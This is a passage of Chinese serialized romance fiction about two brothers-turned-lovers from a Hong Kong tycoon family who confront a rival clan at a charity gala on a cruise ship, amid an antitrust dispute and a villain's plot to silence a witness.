文章里提及的,就是奥莱集团向FTC提出:时代收购繁星,疑似触发《反垄断》条例,因此FTC对时代进行调查搜证。而同时,时代集团律师团队认为奥莱集团企图收购HT也有触犯《反垄断》的嫌疑。因此,非常损地要求提取奥莱集团的相关文件。 原型来自到微软收购暴雪,大家可以看看。 第75章 A国的这场暴雨,酝酿整个下午,结果雷声大雨点小,半小时过后,只剩下淅淅沥沥。 零星的雨滴,落到挡风玻璃上,稀疏地不构成开雨刮的条件。驾驶位的陈一诺看着丁点大的雨滴,轻轻叹了口气。 明明肉眼可见的失落,嘴上却说:“哎,这雨停得真及时。不然航班延误,你还得多呆一晚。” “等你下飞机差不多中午,吃个午饭回公司时间刚好……” 他们俩都是“工作狂”,不是万不得已,很少轻易改变行程。这回,陈宗礼临时拨两天到A国,已经耽误不少工作,能按时回去,再好不过了。 旁人听不出来,陈宗礼却听出他的言不由衷。 手指捏了捏他的耳垂,凉凉软软,他低声提醒:“陈一诺,好好说话。” 陈一诺歪头把耳垂送他手里,由着他捏,反问:“我怎么不好好说话了?” 陈宗礼挑眉,毫不客气地戳穿:“你说呢?不舍得就说不舍得,什么雨停得真及时,吃个午饭回公司时间刚好,这是你的真心话吗?” “还是为了让我走得轻松些?” 中间那一段复述,陈宗礼特意学了他的语气,有些滑稽。 本来,陈一诺表情管理得好好的,被这么一说,脸瞬间垮了。 “那肯定舍不得啊,你看陈宗瑜跟庄嘉轩同一个地方,天天见还觉得不够呢,何况我们这种刚一起就异国的……” “可我们又不能只谈恋爱,那么大一摊生意要管。这个节骨眼,羽南港绝对不能出问题。反垄断这边,我也走不开。” “你明明都知道,还戳破我,真的是……”陈一诺越说越委屈,听得陈宗礼心都软了,“哎哟,逗你的,那么心酸啊……” 好像谈恋爱之后,正经的陈宗礼变得没那么正经了,特别爱逗陈一诺,没想到逗得过火了。 哄道:“不是答应你每天视频吗,别不开心。” …… 幸好陈一诺情绪来得快去得也快,等车缓慢驶入停车场,他情绪已经好了。他们停好车,熄了火。 从私人停机坪方向,浩浩荡荡来了好多人,陈宗礼视力好,一眼认出中间的人。 他一把拉住陈一诺:“先别下车!” 陈一诺惊慌道:“怎么?有记者?” 陈宗礼抬抬下巴,沉声道:“你看……” 陈一诺眯了眯眼睛,才看清,一群保镖和助理簇拥着一个身穿白衬衣桃红色窄裙,戴着墨镜的贵妇,贵妃出巡似的朝他们走来。 “这女的是谁?”陈一诺忍不住问。 陈宗礼:“吴丹妮!她这些年在A国定居,偶尔回港城。” “快,把座椅放平,他们过来了……” 陈一诺恍然,吴丹妮是二婶吴淑芬的堂姐。 二十多年前,吴家是港城豪门大户,堂姐吴丹妮嫁给比自己大10多岁的贺朗,表妹吴淑芬则嫁给陈宗礼的二叔。 吴丹妮的娘家在贺朗发家过程中给予不少助力,而贺朗有野心也足够有实力,从富二代一路攀升成港城四大家族,如今还成了首富。 新晋“首富夫人”吴丹妮,妻凭夫贵,脸上有光。走到哪儿都被人群簇拥,像众星拱月的女王。 陈一诺学着陈宗礼,快速把座椅放平。从外面看过来,这就是一辆空车。 不出所料,几个保镖先小跑过来停车场这边,绕着快速扫了一圈,确认安全,才回到一辆劳斯莱斯旁边,拉开车门,笔直地站在一旁等候吴丹妮。 吴丹妮优雅地朝他们走来,边走边打电话,陈一诺稍微降下车窗,让她的声音从车窗缝传来。 “秦会长,我早就不是俪妍会的成员了,你们俪妍会的周年庆,我去凑什么热闹呀。” “行吧,你们非要来,我还能逃哪里去,等你们到A国,跟我说一声~” 吴丹妮挂掉电话,骂了句:“哼,以前对我爱答不理,现在让你们高攀不起!” 她摘掉墨镜,露出精致的五官,她的母亲是混血,为此,她的五官比吴淑芬多了些许异域风情,可惜基因不够贺朗强大,两个儿子都没遗传到。 她把手机递给助理,问道:“对了,记得在二少的晚宴宾客邀请名单里,增加一个奥莱集团的CEOFrank。” 助理应道:“好的,邀请函直接写Frank就好了吗?” 吴丹妮想了想:“就写:FrankOra” …… 等劳斯莱斯开远了,车窗传来的声音越来越小,他们才把座椅调回正常的高度。 陈一诺喃喃:“我记着,下周就是俪妍会的慈善晚宴了。” “俪妍会”是由港城豪门名媛贵妇组成的妇女慈善组织。每年周年庆,都会举办慈善晚宴,邀请豪门名流聚在一起,慷慨解囊。是港城最知名,最有影响力的名流派对。 陈宗礼边在手机翻查,边点头:“对,如果你能回来,我让兰姨帮你准备。” 陈一诺下巴搭着他的肩:“查什么?” 手机屏幕上,正是FrankOra的维基百科。 陈一诺念道:“FrankOra,奥莱集团CEO,奥斯康家族成员?!!!” 不久前,贺朝风为了接近奥斯康家族,给庄宝瑶做局,结果,计划失败,反而把自己送进局子。 没想到,贺家还不死心,贺朝阳转头另辟蹊径,让李家纯帮忙牵线搭桥,接近奥莱集团。 陈一诺冷笑:“我还以为,贺朝阳找奥莱集团搞反垄断,只是为了弄断我的资金链。搞半天,全是我自作多情。我只是贺家讨好奥斯康家族的见面礼!Play的一环!” 他越想越气,狠狠拍了几下方向盘,手掌碰到喇叭,“哔哔——”的喇叭声响彻整个停车场。 他怒视劳斯莱斯离开的方向,骂道:“姓贺的怎么就是死不透!真想把姓贺的全屠了!” 陈宗礼看他手都拍红了,硬牵过他的手,捏了捏,劝道:“骂两句还行,杀人可就犯法了。” 陈一诺不解地看着陈宗礼:“他们手段那么卑鄙,你就一点不生气?” 陈宗礼冷笑:“他们一而再,再而三地的挑衅,我当然生气。” “但现在吴丹妮给我们送线索,算是一个突破口。与其生气,不如动动你的歪脑筋,想几个更卑鄙的点子,收拾他们。” 深谋远虑的陈宗礼,配上鬼点子奇多的陈一诺,走以牙还牙的复仇路线,确实更适合他们。 陈宗礼捏起他的下巴,忽然吻上他的唇。 陈一诺火山喷发般的心情,因为一个简单的吻,一句话,迅速重回稳定。 他目光盯着陈宗礼那张没有情绪的脸,舔了舔下唇:“放心,这次我一定要把姓贺的摁死!” 陈宗礼捏他的脸颊,嘴唇嘟起来泛着水光。 他一字一句地提醒:“是我们,我们一起把姓贺的摁死!” …… 每逢年底,就是豪门交际旺季,港城作为国际金融中心,中西方节日混着过,交际派对自然多。 港城豪门世家都知道,在众多的派对邀请函中,分量最重的,当然是“俪妍会”筹办的慈善夜。 “俪妍会”作为港城最有影响力的妇女慈善组织,对内部对成员筛选非常严格。财富只是最基础的敲门砖,每个成员除了具备学历、外貌、家境、热衷公益事业外,还有一个“背景干净”的硬指标。 “背景干净”讲白了,需要成员在社会上形象阳光、正面。毕竟,公信力对慈善机构而言非常重要。 最初,“俪妍会”由陈老太冷翠英一手成立。把天峻集团交给陈宗礼后,她也从“俪妍会”会长的位置退下,只担任名誉会长。 如今,“俪妍会”会长是李家纯夫人,也就是李思维的母亲:秦若霜。 适逢“俪妍会”成立30周年,所以今年主题就是:俪妍会三十周年慈善夜。 慈善夜在名为“维多利一号”的豪华邮轮举行。 “维多利”是秦若霜的英文名。这艘邮轮,是她跟李家纯的结婚十周年纪念礼物,寓意颇深。 邮轮预计晚上八点离港,七点三十分,宴会厅内已经衣香鬓影,满是觥筹交错的交谈声。 陈宗瑜跟母亲吴淑芬在宴会厅的露台躲清静,看着来来往往的人,聊聊八卦。 “妈,有个问题,我一直想不明白。” “奶奶当时选人接手俪妍会的时候,怎么会选秦伯母呢?” 认识秦若霜的人,都知道她性格温婉,脾气好,可俪妍会那么多女人,女人多的地方,是非自然多,如何管理,如何服众呢? 吴淑芬手里掌着一杯红酒,抿了一口说道:“俪妍会不是公司,是一个慈善机构,你秦伯母年轻时参加过TVA的选美比赛,当年的选美比赛,可不只是选美,要求美貌和智慧并重。” “当年,若霜姐是港姐里,少有的常春藤双学位,颜值够,学历高。你奶奶是当年选美比赛的评委之一,一眼相中她。最后,冠军头衔也颁给她。” “后来,在你爷爷的生日宴上,若霜姐和李家纯一见如故,不久后就结婚了。” “选美冠军加上豪门太太的双重身份,整个港城有几个?你奶奶还没退下来,就已经想好让她接手会长的位置了。” 陈宗瑜听完挺意外的,她一直以为秦若霜是大家闺秀,嫁入豪门后成为贤妻良母。殊不知她当年也是:有名有貌,有才有名望的大美人。 然而,这样优秀的女性,居然嫁给了李家纯! 想起他“重男轻女”的嘴脸,陈宗瑜就生气,骂骂咧咧:“姓李的压根配不上秦伯母……” “你小点声!”吴淑芬瞪了女儿一眼,又看看周围,确定没人了,才压低声音:“你现在越来越没家教了啊。说什么呢,没大没小的。” “豪门婚姻本来就复杂。他们刚开始的确也是郎才女貌,天造地设的一对。只是时间久了,人心变了而已……” 陈宗瑜不屑:“都是豪门婚姻,我爸和奶奶就从来没逼你生儿子吧。” “还是李家纯这个老登有病,生不出男的,就像有什么大罪,连秦伯母这等级的女神也要被拉下神坛。” “换我,这豪门太太谁爱做谁做!我才不稀罕!” 吴淑芬:“所以说,找伴侣,外貌、财富、出身虽然也重要,但人品才是重中之重。你看一诺就很好啊。低谷的时候不卑不亢,成功的时候不骄不躁。” “对了,他怎么还没到?宗礼也没影,迟到船可不等人啊……” 她一转头,陈宗瑜已经不见了。 第76章 “着什么急,迟到又不会死……” 距离“维多利一号”起航还有十五分钟,在港口角落,一辆库里南车身轻微晃动,车后排一片混乱…… 陈一诺单手系衣扣,剩下一只手利落地接住陈宗礼飞甩过来的安全背心。 他把荧光色背心顺手丢到前排,脸上满是无奈:“你说,现在要是有人经过,会不会觉得我们在车里……那什么……” 陈宗礼没他那么爱绕弯子,脱掉身上的羊绒薄毛衣直接说道:“觉得什么?车震?!” 下一秒,毛衣飞甩到前排,笑道:“吻都来不及接一个,还车震?!” 为了出席今晚俪妍会的慈善晚宴,陈一诺提前完成第二阶段庭审筹备工作,连夜坐飞机从A国赶回港城。刚抵达机场后,压着时间,一路飙到港口和陈宗礼会合。 陈一诺行程匆忙,陈宗礼也不徨多样。 羽南港进入动工阶段。正是最紧张的时候,陈一诺刚好不在国内,陈宗礼作为主项目负责人,每天早出晚归现场监督,被陈宗瑜吐槽几乎住在羽南港。 偏偏俪妍会慈善晚会,对着装要求非常高,他们行程又赶,只能预留十五分钟,在车上解决。 “衬衫!” 陈一诺给他递衬衫时,刚好看见陈宗礼裸着的半身,第一反应:“卧槽……” 陈宗礼的身材比他高大健硕,平时裹在西装里,宽肩窄腰的逆天比例已经很惹眼。如今没了遮挡,像巧克力一样轮廓分明的肌肉块,一刀刀雕刻上去的马甲线。在这样的距离下,特具视觉冲击。 换做以前,他们还是“兄弟”的时候,以他的粗神经肯定会直接上手摸,如今关系不同了,陈宗礼成了他男朋友,他要是摸上去,他们就没法上邮轮,他只好克制住自己的欲望,生硬移开视线…… 陈宗礼听见他的“卧槽”,目光淡淡:“怎么?” 陈一诺只能咽了口口水,随便编了个谎:“你……你好像黑了很多?” 羽南港靠海,天天守在工地,哪怕只是偶尔到现场视察,也难免遭受风吹日晒。 哪怕已经是初冬时节,衣服没遮住的地方,还是被晒黑了几度,以前算小麦色,现在成巧克力色…… 肤色成巧克力色,腹肌像巧克力块,陈一诺此刻满脑子都是“巧克力”废料。 陈宗礼用后视镜看了看脖子,确实有些肤色差。 他拿起衬衫慢条斯理地穿着,问道:“也没有黑很多啊,本来也不白。怎么,黑了不喜欢?” 陈一诺等他穿上衣服,眼神才恢复正常:“喜欢……喜欢啊,这巧克力色,健康。嘿嘿。你辛苦了。” 陈宗礼系好衬衫扣子,开始穿西装马甲:“每天去海边晒晒太阳,吹吹海风,没什么辛苦的。” 嘴上说的轻松,像去度假。陈一诺却很明白个中不易。 贺家的手伸得太长了,招数又阴险。之前,他们内部被连番偷袭,还有反垄断案子没解决。该防的都得防。为此,羽南港的事无巨细,陈宗礼都要管,在选人、用人上更是慎之又慎。 穿好衬衫,陈一诺开始换裤子。 为了长途航班舒适,陈一诺穿的是宽松卫衣配运动裤。兰姨给他们准备的都是修身西装裤。 他脱下运动裤,衬衫下摆刚好挡住了重点,动作幅度稍大,大腿根部就会露出一点白色的内裤边沿。脱掉运动裤后,劲瘦线条纤细的长腿裸/露在外,白色长袜松垮地堆在脚上,像又纯又欲的体育男大。 刚谈恋爱就被迫异国的小情侣,看见如此让人想入非非的画面,连向来冷静的陈宗礼也有些晃神,他径自穿好成套西装,努力把目光从陈一诺身上的腿上移开。 穿戴整齐后,陈一诺拎起一条窄领带,皱眉问:“这颜色怎么回事啊……” 陈宗礼撇他手上领带一眼,拿出同样色系的小方巾扬了扬。 “今晚的DressCode(着装要求)是蓝绿色,就是绿松石的颜色。兰姨千叮万嘱你要戴的,没这个,老太太能把我们扔下海,跟着邮轮后头游。” 在邀请函上标注DressCode(着装要求)是港城派对的传统。 受邀宾客需要配合主办方,选择合适的礼服。假如不遵守主办方的DressCode,甚至会被拒绝入场。 这次的邀请函上,没有对颜色面积进行要求,宾客可以直接选蓝绿色的礼服,也可以只用蓝绿色的小饰品作为点缀。 俪妍会是女性主导的组织,更看重礼仪和细节,加上陈老太是创始人,要是连自家人的打扮都不符合要求,老太太估计真得把他捆到船头,然后往他身上扔酒瓶,重演一次“掷瓶礼”。 陈一诺无奈地把领带挂在脖子上,系了个四手结,吐槽:“没说不戴,我只是没想到,还能找到绿松石色的领带……” 陈宗礼穿戴整齐,挑挑眉:“世界上,就没有兰姨办不到的事!” 他点点手表,提醒道:“剩下5分钟。” 陈一诺也准备就绪,陈宗礼左右看看他,忽然道:“别动,领带有些歪。” 陈一诺信以为真,立刻仰头让他帮忙:“是吗?你赶紧帮我调调。” 陈宗礼一手拽过领带,精准吻住陈一诺的唇,对于只有一次接吻经验的陈一诺而言,这样亲密、富有技巧的举动,他依然不擅长,何况还是突如其来的吻。 做弟弟的只能脑袋空空地配合哥哥。 唇被咬了就忍着,刚碰到对方的舌尖,就自动打开嘴唇,随他索取。吻到舒服了就“哼哼”着积极反馈。配合程度之高,仿佛早就等着让人为所欲为。 极度缠绵的一吻结束,陈宗礼调整好呼吸节奏,跟陈一诺慢慢分开,看看手表:“走了,还有三分钟。” 还有三分钟,邮轮就要开了! …… 夜幕低垂,“维多利一号”安静停泊在港口,它的船身是净洁的白,在逐渐暗去的蓝调天空背景下,像一头静谧的鲸。 为了确保活动的私密性,防止八卦杂志乱写,俪妍会的慈善晚会并没邀请媒体上船。 考虑到媒体报道,主办方在登船桥前铺设百米红毯,方便记者媒体在来宾登船前抓拍照片。并且承诺在活动结束后,统一提供公关图片和文字稿到各大媒体进行发布。 陈宗礼和陈一诺抵达登船桥时,距离邮轮离港只剩下1分钟,媒体只能从两道残影里,分别出是陈家兄弟。 登船后,工作人员对来宾例行安检,电子设备如:手机、ipad等,都需要用透明密封袋封存后,才允许进入。 安检通道共有两条,他们被安排在左侧安检。本以为他们已经是最后一批登船,没想到还有比他们更“压哨”的。 陈宗礼安检完毕,刚要直接往宴会厅里走,但陈一诺把他拉住,冷声提醒:“2点方向,贺朝阳。” 俪妍会是港城盛事,更是罕有能邀请四大家族参加的豪门宴会。 陈宗礼知道,这次贺家邀请了贺夫人吴丹妮和贺朝阳一起出席,没想到,会在这里遇到。 陈一诺看了对方一眼。贺朝阳穿着深蓝高定西装,配一双松石绿袖扣,如果没记错,是去年都富比的拍卖品,不低于七位数。 贺朝阳日理万机,接受安检还在聊手机,语气带着调侃:“李叔,你的人不见了,问我??” “行吧,我再找找当地的关系,你也别着急,一个女人能跑哪里去?” 挂掉电话,贺朝阳三白眼里透露着蛇蝎般的阴险。 工作人员虽然有些胆怯,还得尽职提醒:“先生,我们需要封存您的手机,请您配合。” 贺朝阳撇他一眼,语气非常不配合:“我不需要封存手机。” 活动负责人过来解释:“贺先生,出于对活动现场嘉宾的隐私考虑,所有来宾都得封存手机。等晚会结束后,会有专人帮您解封的。” 贺朝阳充耳不闻:“我说了,不需要!” 说完冷着脸,抬腿就要往里硬闯。活动的安保人员从两侧过来,像一堵墙似的挡在他面前。 贺朝阳身后的一个凶神恶煞的男人带着几个小弟也凑上来,双方形成对峙。 贺朝阳的眼神狠戾盯着比他高半个头的保镖,咬着后牙,下颌线瞬间拉直,阴森道:“知道我是谁吗?走开!” 安保们纹丝不动,双方严阵以待,形势相当严峻。 “就知道说废话,人家都叫你贺先生了,当然知道你是谁啦!” 陈一诺手指轻轻拨开保镖,站到贺朝阳面前,不怀好意:“贺首富不屑来,你哥官司缠身不能来,整个港城能被叫贺先生的,不就只有你了——贺朝阳。” 羽南港竞标结束后,两人就没正面交锋过,现在见面,颇有“不是冤家不聚头”的宿命感。 贺朝阳挑眉看着陈一诺,又看向站他身后的陈宗礼,阴阳怪气里带着些惊讶:“哟,真是冤家路窄。陈二少,不是在A国处理烂摊子吗?还有空回来?” 他口中所说的“烂摊子”,正是反垄断诉讼,这么一说,瞬间激起了陈一诺的逆反心理,他甚至往前半步,跟贺朝阳脸贴脸。 “没想到贺少挺关心我。不过一点小事,不耽误我回来做善事……” “倒是你,跟人家工作人员添什么乱,让你存就存吧,别耽误开船。” 贺朝阳仰起头,偏不愿意:“规矩是死的,人是活的,万一他们也让别人带手机进去了呢?” “反正我不!” 陈一诺挑眉看向活动负责人:“请问,有特殊的人能带手机进去吗?” 负责人醒目回应道:“没有的。会长叮嘱过,无论是谁,手机都要封存。贺夫人也存了,还特意选了浅蓝色的封存袋,搭配她的晚礼服。” 陈一诺回看贺朝阳:“听见了没?你妈都存了!别总觉得有人要骗你~一朝被蛇咬~” 羽南港被中介骗的事,本都已经忘了,被陈一诺忽然提起,贺朝阳立马火就上来了,他眼睛像刀子戳向陈一诺…… “陈一诺,别以为这点小事,就能激怒我!” 陈宗礼凉凉道:“是吗?那你拳头攥那么紧?” 贺朝阳立刻松开手:“关你屁事!!” 双方一寸不让地对峙着,一副你不妥协,我们就僵持到活动结束的架势。 这时,贺朝阳的手机响起,他收敛起脾气,接听道:“喂,妈。” “上船了,在安检。” 不知道对面说了些什么,贺朝阳的眉毛像拧成麻花。脸色铁青地说了句:“你让她老实呆在房间!我这就过来!” 挂掉电话,他面无表情地把手机递给工作人员封存,淡淡看着陈一诺:“陈一诺,管好你自己,小心乐极生悲。” 陈一诺不屑地笑笑:“这样吗?比起我,你更需要小心吧。毕竟,傻悲自有天收!” 陈宗礼没忍住“哈”地笑出声,在贺朝阳反应过来之前,把陈一诺快速拉进会场。 第77章 俪妍会三十周年的慈善派对定在“维多利一号”的主宴会厅举行。 虽然是慈善晚会,但没有固定主题,但临近的圣诞,主办方用了大量圣诞元素的布置,让宾客提前感受节日气氛。 宴会厅内,四面墙壁从高到低,蹚下层层错落的绿植,如浅浅的瀑布。又以不同颜色的鲜花点缀其中,增添灵动性。当宾客迈入宴会厅,就有置身于海洋上的瀑布森林的错觉。不仅如此,空气中布满淡淡的植物香味,清新得像雨后的草地,让百忙中抽空的宾客,一种放松的氛围。 这次慈善晚会邀请了三百多位来宾,不算特别大型的派对。但能被邀请的,都是港城颇具名望的上流人士。放眼望去,贵气逼人,星光熠熠。 陈宗礼和陈一诺并肩走进会场,原本觥筹交错的画面,因为他们的到来仿佛静止了。所有目光,瞬间聚焦在他们身上。 有的人,存在的本身就自带光环。 近半年持续在新闻报道里,三不五时占据头条的陈家兄弟。今天,首次在公开场合出席露脸,真是天大面子,所有来宾都非常惊喜。 陈宗礼穿着一身黑配蓝绿色领结,跟胸前的小方巾颜色呼应,白衬衫扣到顶,上斜眼锐利地扫视现场所有人,骇人的气场,让惊呼当年被称作天之骄子的太子爷,已经彻底蜕变成杀伐果断的王。 他身旁的陈一诺,变化更大。身穿黑色羊绒配银丝线西装,蓝绿色领带像流淌在银河里的绿宝石,衬得他的眼睛像一对墨水珍珠。当初人人耻笑的豪门弃犬,如今跃升为身价百亿的集团总裁,豪门贵公子,让人感叹看走眼。 除了感叹看走眼,好感叹陈家风水好。豪门最怕那句:富不过三代。陈家都传到第五代,依然能出这么耀眼的豪门双子星。陈家祖上积了多少祖荫! 陈家兄弟大步流星地走进宴会厅,沿途各种议论声,不绝于耳。 “他们就是陈家兄弟?站一起也太帅了吧!电影明星一样。不但帅,还帅得各有特点!陈宗礼是冷峻、禁欲型,陈一诺是英俊、痞帅型。” “李思维命真好,跟太子爷青梅竹马,早早把人拿下了。我们只能觊觎一下陈一诺……” “陈一诺真是逆天了,谁敢想当年他那么惨,还能打个漂亮翻身仗!有故事的男人我喜欢!” “他你也敢想?我听说,宗瑜妈妈私下喊陈一诺女婿。看来是肥水不流外人田,想亲上加亲呢!” “开玩笑的吧,虽然不是亲的,但哥哥妹妹喊了那么久,在一起总觉得怪怪的……而且,陈宗瑜不是喜欢庄家那小子么?” 一句句闲言碎语,全部飘到陈一诺耳朵里,有些尴尬地摸了摸鼻子,偷偷瞥着陈宗礼,看他没什么表情变化,心想,应该听不见吧。 本来在宾客堆里,忙着跟人推杯换盏的庄嘉轩,离远看见他们,连忙朝他们走来。 庄嘉轩手搭在陈宗礼肩上,有些着急:“我还以为你们不来了呢。电话不接,消息不回!” 陈宗礼剐了他一眼:“羽南港信号不好。有事?” “不是……”庄嘉轩看陈宗礼脸色不对,转头问陈一诺:“你哥什么表情?谁惹他了?” 陈一诺听陈宗礼的语气,心里“咯噔”一下,原来他不但听见了,还听生气了! 他狠狠刮了庄嘉轩一眼,怨气全怪他身上:“你惹的。” 庄嘉轩一头雾水:“不是……我做错什么了?” 陈一诺骂道:“你就是什么都没做!” 庄嘉轩脑子里满是问号:“卧槽!想骂我就直接说!搞什么抽象啊!” “生气归生气,Linda的事你们听不听?” 说到这里,陈宗礼和陈一诺,约好了一样,同时说:“听!” 庄嘉轩:“哼,走吧,去那边。” …… 宴会厅外有几间VIP休息室,庄嘉轩随便选了一间空的休息室,把他们带进去。 大概十米外,贺朝阳视线一直紧盯着他们,他问旁边的董城:“之前的宾客名单里,没听说有陈家兄弟,他们怎么来了?” 董城长得魁梧,交叉双臂,沉着声音:“他们来的时候,身边没带保镖,估计单纯给老太太撑撑场面吧。” “不可能!” 羽南港之后,贺朝阳被这两兄弟耍出阴影,他转头跟董城说:“派人过去盯着他们。” 他话锋一转:“那女的,怎么样了?” 董城:“放心,跟你母亲在一起。” 贺朝阳点点头,他目光紧紧盯着陈一诺他们离开的方向,咬牙切齿:“看好她,别坏我的事!” …… 包间内,庄嘉轩刚关上门,就等不及地开口。 “我跟你们说,我这次去内地分公司真是去对了!你们让我低调,所以我去的时候没打招呼,到那边找到我的心腹,我才知道,出事之后,Linda身边的经纪人、助理,反正稍微亲近的人都离职了。” 陈一诺一脸震惊:“我以为你找到什么惊天线索!就这,你乐什么?” 庄嘉轩:“哎呀!我没说完!这人离职以后,几乎都出国了。” “死了?”陈宗礼问。 庄嘉轩摆摆手:“死倒是没死,就是被送出国。我的心腹靠人脉,打听到Linda的经纪人在日国,于是我就跟他去日国旅行,假装偶遇她经纪人。” “Linda的经纪人也算是我们环球资深经纪人了,看见我们开心得不得了。说自己想回国,每天吃寿司和拉面,吃到吐。” 陈宗礼白他一眼:“说重点!” 庄嘉轩:“重点重点!于是,我就请他去喝酒。”他挑眉,“好酒哦!” 都看出他在暗示痛失的半打Mouton,这槛似乎过不去了! 陈一诺和陈宗礼冷着脸,完全没搭理他。 他只能自讨没趣地往下说:“这个Linda本来是十八线小明星,抱怨资源不好,常常跟经纪人吵架。” “有一次,她突然说有一部电影找她当女主角。经纪人本来不相信,结果确有其事,剧组班底还挺不错。经纪人就觉得她有金主。” “Linda的性格憋不住话,她经纪人才知道她认识了一个叫Jason的掮客,就是专门给小明星组局认识老板。Linda就是在某一场派对上认识了李家纯。” 说了半天,其实就是小明星被富豪包养的狗血故事。 陈一诺对这些不关心,只问:“Linda也没什么特别,李家纯怎么就选上她了?” 庄嘉轩脸色变了变:“说起这个我就气!那个Jason招揽了很多经纪公司的小艺人,每次李家纯到内地,他就十几个送过去让他挑,跟选妃似的。但是,唯独Linda怀孕了。” 有钱人玩得花,陈家兄弟见怪不怪。但李家纯老来得子,依然让人感到魔幻。 “这孩子,真是李家纯的?” 庄嘉轩点头,掏出手机:“真是他的!Linda晒过亲子鉴定结果给经纪人看,他经纪人还偷偷拍了下来。” 陈一诺跟陈宗礼凑到一起,看庄嘉轩的手机屏幕,亲子鉴定结果,显示Linda腹中的胎儿DNA跟李家纯99.9%吻合。 庄嘉轩摸了摸寸头:“李家纯这个老狐狸疑心重,带Linda检查了好多次,国内外机构各种DNA测试核实,最终确定她真是他的孩子。” “Linda还跟经纪人炫耀,说算命的说她是贵妇命!我是不信这些,但你看……李家纯几十年求儿不得,居然被她怀上了!确实挺邪门。” 陈宗礼手指在舷窗上敲了敲,半晌道:“Jason是什么底细,跟贺朝阳认识?” “对哦!”陈一诺恍然,他们之前把注意力放在Linda这个孩子的真假上,完全忘了李家纯突然给贺家卖了天大的人情,直接引起危及繁星TV收购的“反垄断”控诉。 庄嘉轩一脸得意:“这个Jason带坏我们那么多艺人,我能放过他?!幸好李家纯没把他送出国,他在上城就把人找到了,让几个道上的兄弟把他揍到半死,这人挺讲义气,一直不肯说幕后金主是谁。” 听到这里,陈一诺叹气:“线索又断了,怎么办?” 庄嘉轩挠挠鼻尖:“我是问不出来了,但我想着你们办法多,兴许能问出来呢?所以,我把人安置在客舱,你们晚点亲自去问。” 陈一诺推了一把庄嘉轩的肩膀:“你把人带上来,不早说?!” 庄嘉轩愣住:“晚了吗?不是刚刚好么?” 陈宗礼失笑道:“是!刚刚好!” …… 包间外,一个船员打扮的男人,走远几步,拨通一个电话号码。 董城的声音传来:“怎么样?” 船员把偷听到的详细说了一遍,最后补充:“……我还听见他们说,那个叫Jason的掮客不说实话,所以把他也带上邮轮,等陈家兄弟亲自审,现在人就在客舱。” “嘭——”电话那头传来玻璃破碎的声音。 紧接着,传来贺朝阳的暴怒,不知道在骂谁:“你的人,怎么管的!庄嘉轩把人带上船了,你还不知道!!艹……” “马上派人,赶紧把他给我找出来!!万一被他们知道来龙去脉,我们别回去了!直接跳海!” 董城畏惧地看着贺朝阳,问:“把人找出来,然后呢?” 贺朝阳阴着脸:“既然,这船打算开去公海!他来都来了,就永远留在海里吧。” 董城沉默半天,没想到贺朝阳那么狠绝,犹豫道:“Jason其实也不是全知道,真的要那么绝吗?” 贺朝阳没说话,瞪了他一眼:“要。别让我说第二次!” 董城只能硬着头皮:“行,我找人搞定。” 电话挂断,贺朝阳抽着雪茄,脸上满是狠戾。 董城又问:“那……Linda你打算怎么处理?” 贺朝阳那双三白眼藏着让人毛骨悚然的阴郁:“算命的不是说她贵妇命么。那就要看看,她自己的造化,还有她的算命师傅准不准了。” 第78章 慈善晚会差不多要开始,陈宗礼几个从小包间出来,迎面看见陈宗瑜朝他们走来。 盛装打扮陈三小姐穿的松石绿一字肩小礼服,俏丽又带些小女人的抚媚,嘴角一扬整个人特别甜。她先看见最高的陈宗礼,脚步却直直走向庄嘉轩,声音带着抱怨:“躲哪儿去了,找你们半天。” 庄嘉轩解释:“我们聊点公事,等很久吗?” 庄嘉轩非常自然地伸出手要牵她,结果被陈一诺一巴掌拍散,提醒道:“我二婶看着呢!” 刚刚还像磁铁一样自动贴在一起小情侣,听见“二婶”两个字,不敢确认真假,直接触电似的朝两边弹开。 陈宗礼看着他们形成肌肉记忆的身体接触,似笑非笑:“你们这样早晚穿帮,自首吧。” 陈一诺起哄:“就是,庄嘉轩男子汉大丈夫,我二婶从哪儿跌倒你从哪儿扶起来呗!” 被陈一诺戳中当年的误会,庄嘉轩连忙解释:“我澄清一下啊,当年那香蕉皮真不是我扔的!我是那么没素质的人吗?!” 陈一诺蔫坏:“跟我们解释没用啊,你跟二婶解释啊~” 陈宗瑜连忙摆摆手:“哎,你们别起哄!最近因为表姑妈的事,我妈正闹心呢,都别惹她。” 庄嘉轩一脸无奈:“听到没,我是男子汉大丈夫,随时准备为爱牺牲的,是她不让。” 陈宗瑜催促道:“行了行了,赶紧过来吧!” …… 陈宗瑜把他们领到桌上,除了老太太在主桌,陈家和庄家居然被安排在一起。 遇上吴淑芬的目光,庄嘉轩瞬间怵了。眼神闪烁不敢看吴淑芬,默默地躲在陈宗礼兄弟身后。 陈一诺察觉他的异动,凑到他耳边打趣:“不是随时准备为爱牺牲吗?怎么?怕死啊?” 庄嘉轩剜了他一眼:“你别捣乱啊!宗瑜说了不是时候!” “哎,阿姨不是俪妍会副会长吗,每年都坐主桌,今年怎么坐这儿?” 陈一诺:“防着你呗~” 庄嘉轩又剜了他一眼:“你老怼我干嘛呀?对宗瑜余情未了啊?” 这下轮到陈一诺着急了:“什么余情未了!那是我妹!” 陈宗礼打断他们:“别吵了,我知道二婶不坐主桌的原因了,你们看看主桌。” 庄嘉轩和陈一诺把目光同时投向主桌,陈一诺拽着陈宗礼的衣袖低声道:“哥,我没参加过俪妍会的晚宴,你看出什么了?” 庄嘉轩反应倒是快:“是吴丹妮吗?哦……是她坐了阿姨的位置。” “吴丹妮”三个字,迅速引起吴淑芬的注意,她一个眼刀刺向庄嘉轩。吓得他不敢说话了。 陈一诺低声笑道:“啧啧啧,你是招人嫌啊~劝你一句,小嘴巴闭起来。” 陈宗瑜朝他们使眼色,解围道:“别站着了,要聊坐下聊!今年难得妈跟我们坐一起吃饭,我还觉得热闹呢。” 吴淑芬的眼睛从庄嘉轩身上淡淡移到女儿身上,说道:“天天晚上都跟你一起吃饭,还不腻?” 陈宗瑜惯会哄人,挽着她的手:“怎么会腻,我一辈子都跟你吃饭都不腻~” 吴淑芬的脸色这才好些,她看向陈宗礼:“哎哟,宗礼是不是晒黑了?” 陈一诺坐在吴淑芬旁边,夸道:“二婶眼真尖,这就看出来他黑了。” 陈宗礼淡淡笑道:“最近常去羽南港,是黑了些。” 陈宗礼在他旁边坐下,膝盖自然地贴着陈一诺,对方没躲,他们就在无人在意的桌下贴着。 吴淑芬的目光从陈宗礼移到陈一诺身上:“一诺,你这次回A国很忙哦?兰姨好不容易把你养胖了些,我看又瘦回去了。” 